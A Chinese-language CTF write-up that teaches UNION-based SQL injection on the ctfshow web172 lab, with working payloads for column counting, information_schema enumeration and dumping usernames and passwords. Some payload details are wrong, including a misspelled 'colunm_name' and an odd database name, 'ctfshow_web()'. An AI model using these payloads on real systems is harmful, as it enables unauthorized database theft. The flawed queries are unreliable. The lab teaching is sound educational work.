联合注入
基本概念
关于查询的基本概念
SELECT
后面是字段
- 在 SQL 中,
SELECT
语句后面跟的是字段(列名)。SELECT
语句的作用是从表中选取指定的列的数据。例如:
1 | SELECT column1, column2 FROM table_name; |
这里 column1
和 column2
就是表 table_name
中的字段,该语句会从 table_name
表中选取 column1
和 column2
这两列的数 据。最终呈现的结果是一个二维数据集,每一行代表一条记录,每一列对应一个字段。
GROUP_CONCAT()
里主要是字段,但也可以是表达式
GROUP_CONCAT()
函数通常用于将分组后的某列的多个值连接成一个字符串。它里面一般写的是字段名,不过也可以是一个合法的 SQL 表达式。
1 | SELECT GROUP_CONCAT(column_name) FROM table_name; |
- 这里
column_name
是表中的一个字段,GROUP_CONCAT()
会把column_name
列的所有值连接成一个字符串。
也可以使用表达式,例如:
1 | SELECT GROUP_CONCAT(CONCAT(column1, '-', column2)) FROM table_name; |
- 这里
CONCAT(column1, '-', column2)
是一个表达式,它会先将column1
和column2
的值用-
连接起来,然后GROUP_CONCAT()
再把这些连接后的结果连接成一个大字符串。
table_name
是字段
在你给出的注入语句
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
中,table_name
是information_schema.columns
表中的一个字段。information_schema.columns
表存储了数据库中所有表的列信息,table_name
字段记录了每一列所属的表名。where table_name='ctfshow_user'
这个条件的作用是筛选出information_schema.columns
表中属于ctfshow_user
表的所有列的信息,然后通过group_concat(column_name)
将这些列名连接成一个字符串返回。
什么是联合注入
首先可以参考菜鸟教程上对这个概念的解释:MySQL UNION操作符
在ctf题目中,联合注入可以通过绕过原代码中的查询语句重新构建一个查询语句,来绕过原查询语句中的过滤条件,以达到注入目的。我们的主角是
union
后的语句,那才是我们构建的注入语句
**就是要注意:**在union
指令后的select
选择语句后的元素个数和类型都需要和前面原选择元素的属性和数量相同,比如:1
select name,city,age from table_1 union select name,city,age from table_2
这里前后的
select
选取的元素的类型和数量就需要相同。适用环境:
如该题,不可以使用一般的-1' or username = 'flag' --+
因为返回逻辑中还会对username
进行过滤。
information_schema
数据库概念
information_schema
是一个数据库。它里面有很多表。它用来储存数据库中表的基本信息其中
information_schema.tables
这个表,专门记录了数据库中所有表的相关信息:
包括表名,属于哪个数据据库。另外,
information_schema.columns
这个表,则专门记录了数据库中列的相关信息,包括该列属于哪个表
所以:
我们可以通过指定数据库名,在information_schema.tables
中获取储存于对应数据库中的表。
我们也可以通过指定表名,在information_schema.columns
中获取储存于对应表中的列
web172为例
- 进入靶场:
确定字段数(即列数)
- payload:
-1' order by n --+
,这里-1
是为了闭合源代码中的查询语句,使得查询无效,n
可以填任意数字,这里的n
就是用于试探列表字段个数,因为order by
只有基于存在的字段才可以进行排序,而--+
则是注释掉后面的代码,+
这个符号相当于空格,以防真正的空格被过滤导致无法注入。
这道题我们发现order by 3
就不行了,所以只有两个字段
查询当前所处数据库
采用payload:
1
-1' union select 1,database() --+
这里
-1
作为占位符,使得联合注入符合语法规则。sql
语句得以执行。且注意:
这里传入-1
,是由于在sql
表格中一般不存在id为-1
的行,这样就可以让联合查询的前半部分返回为空,不会和后半部分一同输出,导致最后输出数据混乱。sql
指令中database()
就指当前数据库名。这里回显为
ctfshow_web()
查询数据所有的表名
**
group_concat
**函数,用于合并多行数据一行输出,它还具备一个重要功能:
可以将多个查询元素合并为一个元素,避免出现union
后的元素和前面数量不匹配的问题。查询数据表名:
1
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web()' --+
这里回显
ctfshow_user
和ctfshow_user2
,说明所属于该数据库的表有ctfshow_user
和ctfshow_user2
查询表中字段的情况
使用如下paylaod:
1
-1' union select 1, group_concat(colunm_name) from information_schema.columns where table_name = 'ctfshow_user' --+
这里是在查询对应表的字段信息,
information_schema
中会有columns
表来记录每个表的字段情况。得到如下回显:
获取到该表对应的字段名。
查询每个字段情况
使用如下payload:
1
-1' union select 1,group_concat(username,password) from ctfshow_user --+
表格直接写在
from
字段后,不需要双引号。回显发现:
没有发现flag。
我们再换一个表进行查询:
1
-1' union select 1, group_concat(username,password) from ctfshow_user2 --+
发现回显:
获得flag